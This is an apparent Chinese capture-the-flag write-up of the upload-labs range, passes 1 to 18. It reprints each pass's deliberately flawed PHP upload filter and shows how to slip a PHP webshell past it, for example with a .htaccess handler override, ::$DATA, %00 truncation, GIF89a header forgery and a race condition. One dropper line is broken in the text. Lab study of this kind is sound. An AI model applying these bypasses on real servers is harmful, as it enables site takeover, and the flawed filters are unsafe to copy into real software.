upload-labs是一个使用php语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共21关,每一关都包含着不同上传方式。

Pass-01 客户端-JS检查绕过

方法1:改后缀burpsuite抓包

先随便提交一个一句话木马

弹窗提示只允许提交jpg,png和gif
所以我们先把yijuhua.php的后缀改成jpg,用burpsuite抓包
在bp里面把后缀名改回php
forward放包,我们回到题目,发现此时题目下面已经出现了一个图片(但是加载不出来)

我们右键图片复制图像地址,http://127.0.0.1/bachang/upload-labs-master/upload/yijuhua.php

去蚁剑连接,密码为a,即可连接成功

方法2:修改代码法

f12查看源代码,发现上传区有这么一行代码

1
2
3
4
5
<form enctype="multipart/form-data" method="post" onsubmit="return checkFile()">
<p>请选择要上传的图片:</p><p>
<input class="input_file" type="file" name="upload_file">
<input class="button" type="submit" name="submit" value="上传">
</p></form>

发现提交之后把文件提交到过滤条件中,进行条件过滤,我们把过滤条件onsubmit=“return checkFile()”删除

即可直接上传我们的yijuhua.php了!

Pass-02 MIME类型绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '文件类型不正确,请重新上传!';
}
} else {
$msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
}
}

题目在上传非法文件时网页会稍微加载一下,所以判断可能为服务端检查

这里尝试一下MIME类型检测绕过,上传yijuhua.php,bp抓包,把Content-Type改成image/jpeg即可成功上传

然后复制图像地址,蚁剑连接即可

Pass-03 黑名单绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array('.asp','.aspx','.php','.jsp');
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空

if(!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

上传一句话木马时页面有加载,而且下面出现文字提示:不允许上传.asp,.aspx,.php,.jsp后缀文件!

猜测是后端验证的黑名单绕过

上传php木马后用bp抓包,改为php5后缀后再放包,复制图片地址在蚁剑即可以完成连接

Pass-04 .htaccess绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

上传一句话木马的时候弹窗显示提示

本pass禁止上传
.php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf后缀文件!

好狠,一下子禁止上传了好多文件格式,包括我们之前能用的.php5等也被禁用了,但是看了一下没有禁用.htaccess文件,也就是我们可以达到.htaccess绕过

首先我们要上传一个.htaccess的文件

1
SetHandler application/x-httpd-php

这样所有文件都会被当成php解析,然后上传任意格式的一句话即可,比如我们上传图片马

蚁剑链接即可

Pass-05 构造后缀绕过

上传一句话木马的时候只提示不允许上传该文件类型了,而且.htaccess也不允许上传

所以这里我们需要对后缀名进行处理

网上有个把php后缀改成Php达成大小写绕过的方法,但是似乎因为靶场的版本不一样,我们这边的源码是对大小写进行统一了的

我们观察源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

可以看到过滤的黑名单属实还是很多,而且我们上传的后缀名,会先删除最后面的空格,再删除后缀末尾的点,再删除后缀末尾的空格

所以我们可以构造后缀为php. .(两个点中间有一个空格)

这样在过滤规则下,我们的后缀会变成php.,又由于windows的特性,我们的php.会被识别成php文件,从而完成绕过

Pass-06 大小写绕过

原来之前说的网上的Pass-06的解决方法在这里用上了,这里源码没对大小写进行统一,所以把php改成Php就可以形成绕过了。

顺带一提,第五题的绕过方法在这边照样能用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

代码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

Pass-07 空格绕过

直接看源代码吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = $_FILES['upload_file']['name'];
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

这里和前面比,没对文件末尾对去空处理,所以直接空格绕过,把之前的.php改为.php (末尾多个空格)就能完成绕过了

Pass-08 构造后缀绕过

点提示后显示本pass禁止上传所有可以解析的后缀!

那就只能构造后缀绕过了呗,看看源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

这里没删文件后缀名的点号,只做了去空格处理,所以构造后缀名.php为.php.

然后蚁剑连接即可

Pass-09 ::$DATA绕过

cancanneed源代码,听话,让我看看!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = trim($file_ext); //首尾去空

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

和前面相比,这边源码中未过滤::$DATA,可以利用::$DATA来绕过过滤。这其实是利用了windows的特性,在window的时候如果文件名+”::$DATA”会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA之前的文件名,他的目的就是不检查后缀名

所以构造后缀名为php::$DATA,即可完成绕过
顺带一提,之前的方法构造php. .会使得后缀名直接没了,而这里的绕过方法可以保持住后缀名为php

然后蚁剑即可,注意这里复制图像地址后,得删去后面的::$DATA

Pass-10 构造后缀绕过

和第五关一样,构造.php. .即可完成绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

Pass-11 双写绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini");

$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name);
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

这里的str_ireplace()会把我们后缀里的php等给替换为空,那我们很自然的就会想到双写绕过。在删除字符后,剩余的又重新拼接为后缀,达到绕过的目的

所以我们后缀为.pphphp,即可完成绕过

Pass-12 %00截断绕过get型

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}

显然,这里不再是之前的黑名单过滤,而是白名单过滤了。

$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
这里我们发现上传路径是可以控制的,所以可以利用%00截断,来达到上传木马的目的

也就是在get传入save_path参数的同时上传木马。这里要注意一下,%00截断想要利用成功,php版本小于5.3.4(高版本php官方修复了这个漏洞),php的magic_quotes_gpc为OFF状态

我们这里可以把php一句话木马临时改成jpg后缀,然后上传文件,bp抓包的时候,在get传参数的时候,把save_path=../upload/改成save_path=../upload/1.php,蚁剑连接即可,注意复制图像地址的时候要删去1.php后面的内容

Pass-13 %00截断绕过post型

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传失败";
}
} else {
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}

和pass12有点像,唯一不同的是在这一关,我们要控制上传路径得用post传参了

但是不只是直接把post的参数改了这么简单。两个截断有点区别,通过get方式是在url的参数中添加%00。这是因为%00通过get方式传递到服务器会被自动解码,所以就变成了ascii码中数值0对应的那个字符(null),这才能达到截断的目的。

但是如果是通过post的话,加入%00不会别服务器解码,只会原样被参数变量接收。

所以可以把post路径改为../upload/1.php%00

然后p的十六进制是70,所以在burpsuite的proxy模块下的hex里,由于两个p都是70,所以很好定位,把第二个70后面的十六进制数值改为00即可。

然后蚁剑连接

Pass-14 GIF89a图片头文件欺骗

到这一关开始有任务了

任务

上传图片马到服务器。

注意:

1.保证上传后的图片马中仍然包含完整的一句话webshell代码。

2.使用文件包含漏洞能运行图片马中的恶意代码。

3.图片马要.jpg,.png,.gif三种后缀都上传成功才算过关!

试了一下,直接上传cmd制作的图片马然后用文件包含来连接不行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
function getReailFileType($filename){
$file = fopen($filename, "rb");
$bin = fread($file, 2); //只读2字节
fclose($file);
$strInfo = @unpack("C2chars", $bin);
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
$fileType = '';
switch($typeCode){
case 255216:
$fileType = 'jpg';
break;
case 13780:
$fileType = 'png';
break;
case 7173:
$fileType = 'gif';
break;
default:
$fileType = 'unknown';
}
return $fileType;
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_type = getReailFileType($temp_file);

if($file_type == 'unknown'){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}

分析代码可以知道它只读2字节,只需要将木马后缀改为图片格式,内容加个图片头部,然后在返回包中找到路径,然后写在file参数后,因为file参数include的原因都会直接执行。直接上传图片马,可能是因为图片马前面的东西太多干扰了,不是很清楚。
所以只要把php后缀改成jpg,上传的时候在post进去的一句话木马前加一行GIF89a即可成功上传

然后连接的时候不能直接连接,而得用文件包含的形式,因为upload-labs路径里面有个include.php,内容大致如下:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
/*
本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
*/
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){
include $file;
}else{
show_source(__file__);
}
?>

所以连接的时候得连接http://127.0.0.1/bachang/upload-labs-master/include.php?file=upload/6020220913150715.gif

这样才能连接成功

下面了解一下GIF89a头文件欺骗:

一个GIF89a图形文件就是一个根据图形交换格式(GIF)89a版(1989年7 月发行)进行格式化之后的图形,在Web上所见到的大多数图形都是以89a版的格式创建的。 89a版的一个最主要的优势就是可以创建动态图像,例如创建一个旋转的图标、用一只手挥动的旗帜或是变大的字母。特别值得注意的是,一个动态GIF是一个 以GIF89a格式存储的文件,在一个这样的文件里包含的是一组以指定顺序呈现的图片。

用记事本编写一下内容,然后修改后缀变成图片

1
2
3
4
GIF89a
<head>
<meta http-equiv = "refresh" content = "1; url=http://www.***.com/" />
</head>

当单独查看此文件时,会出现GIF89a,然后跳转到指定的网页

Pass-15 getimagesize()验证绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
function isImage($filename){
$types = '.jpeg|.png|.gif';
if(file_exists($filename)){
$info = getimagesize($filename);
$ext = image_type_to_extension($info[2]);
if(stripos($types,$ext)>=0){
return $ext;
}else{
return false;
}
}else{
return false;
}
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$res = isImage($temp_file);
if(!$res){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}

getimagesize(),这个函数功能会对目标文件的16进制去进行一个读取,去读取头几个字符串是不是符合图片的要求的。getimagesize()返回结果中有文件大小和文件类型,如果用这个函数来获取类型,从而判断是否是图片的话,会存在问题。是可以被绕过的,因为图片头可以被伪造。(刚学的GIF89a图片头文件欺骗这不就用上了)

把php后缀改成gif,然后上传抓包,在php代码前加一个GIF89a即可,连接的时候得注意是文件包含!

http://127.0.0.1/bachang/upload-labs-master/include.php?file=upload/8820220913235102.gif

Pass-16 exif_imagetype()检查绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
function isImage($filename){
//需要开启php_exif模块
$image_type = exif_imagetype($filename);
switch ($image_type) {
case IMAGETYPE_GIF:
return "gif";
break;
case IMAGETYPE_JPEG:
return "jpg";
break;
case IMAGETYPE_PNG:
return "png";
break;
default:
return false;
break;
}
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$res = isImage($temp_file);
if(!$res){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}

这一关需要开启php_exif,在php.ini中,把extension=php_exif.dll前面的分号删去,然后重启phpstudy。

exif_imagetype(),它是读取一个图像的第一个字节并检查其签名。所以也是可以通过伪造图片头来进行绕过的。这里同样伪造gif的图片头,来进行上传

和pass-15即可

Pass-17 图片二次渲染绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
// 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
$filename = $_FILES['upload_file']['name'];
$filetype = $_FILES['upload_file']['type'];
$tmpname = $_FILES['upload_file']['tmp_name'];

$target_path=UPLOAD_PATH.'/'.basename($filename);

// 获得上传文件的扩展名
$fileext= substr(strrchr($filename,"."),1);

//判断文件后缀与类型,合法才进行上传操作
if(($fileext == "jpg") && ($filetype=="image/jpeg")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromjpeg($target_path);

if($im == false){
$msg = "该文件不是jpg格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".jpg";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagejpeg($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}

}else if(($fileext == "png") && ($filetype=="image/png")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefrompng($target_path);

if($im == false){
$msg = "该文件不是png格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".png";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagepng($im,$img_path);

@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}

}else if(($fileext == "gif") && ($filetype=="image/gif")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromgif($target_path);
if($im == false){
$msg = "该文件不是gif格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".gif";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagegif($im,$img_path);

@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else{
$msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
}
}

可以看到,这一关先判断了后缀名是否为白名单内类型,再利用imagecreatefromgif判断是否为gif图片,最后进行了一次二次渲染

先上传一个图片马,传上去之后再下载之后,发现我们的php木马已经被清除了。我们用010editor分别打开下载回的图片和原图,可以看到,经过渲染后的图片和我们的源图片中的一些内容是没有改变的。

当然这个得花一点找的时间,推荐图片马应该小一点,比如自己在画图里画一个然后另存为gif,这样找的时候也方便

所以,我们要想绕过该过滤方式,可以将一句话木马插入到不会改变内容的地方,这样我们就可以使得一句话木马在经过渲染后仍然可以存在图片中,这样就可以达到上传恶意代码的目的了。把不会改变内容的地方覆盖性粘贴成我们的php一句话木马,重新上传,就会发现我们的图片仍然上传成功,而且我们用文件包含的方式可以用蚁剑连接。

Pass-18 条件竞争

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = UPLOAD_PATH . '/' . $file_name;

if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传出错!';
}
}

和之前代码不一样的是,这边是先用了move_uploaded_file函数再判断是否在白名单内。即我们上传一个文件后,文件会先上传到服务器,然后再判断该文件类型是否含在白名单中(jpg、png、gif),如果是,则会将该文件重命名后放在服务器中,如果不是,则会将该文件删除掉。

这样就会有个问题,我们只要同时上传多个相同文件,在它删除之前访问就可以了

那么这边我们就要用到burpsuite的intruder模块了,我们可以创建两个自动攻击方案,第一个自动攻击方案是一直持续的将文件上传到服务器中,这时服务器就会一直对应的做判断文件类型,然后是重命名文件还是删除文件的操作;第二个自动攻击方案是一直持续的访问我们上传的文件(我们可以写一个php代码,当我们访问执行该php代码时,会自动在该文件所在目录下创建一个一句话木马,这样就达到了我们将一句话木马上传到服务器的目的了)

蚌埠住了这道题,反复横跳,试了好几次,不过终于还是复现成功了(谢天谢地

这里是复现的大佬的博客(虽然我还是失败好几次

(43条消息) Upload-labs-master实验笔记:Pass18(条件竞争)_大大大蜜蜂的博客-CSDN博客_upload-labs条件竞争

首先写一个auto_into_server.php

‘);?>

注意这里x旁边的双引号可不要换成单引号了(什么血的教训)

我们用burpsuite爆破,重复往里面写入auto_into_server.php,虽然这个脚本会反复被删,但是在被删之前的瞬间,我们只要用intruder模块访问到auto_into_server.php,就可以执行这个php文件,作用是往上传文件夹里面写入yijuhua.php

而我们的一句话木马可不会被检查,因此也就成功绕过了!

下面正式开始操作:

先上传auto_into_server.php,bp抓包,发送到intruder模块,在positions里把所有爆破点全部clear掉,在payloads的payloadtype里选Null payloads,payload options选continue indefinitely,先放在这边,记为一号方案

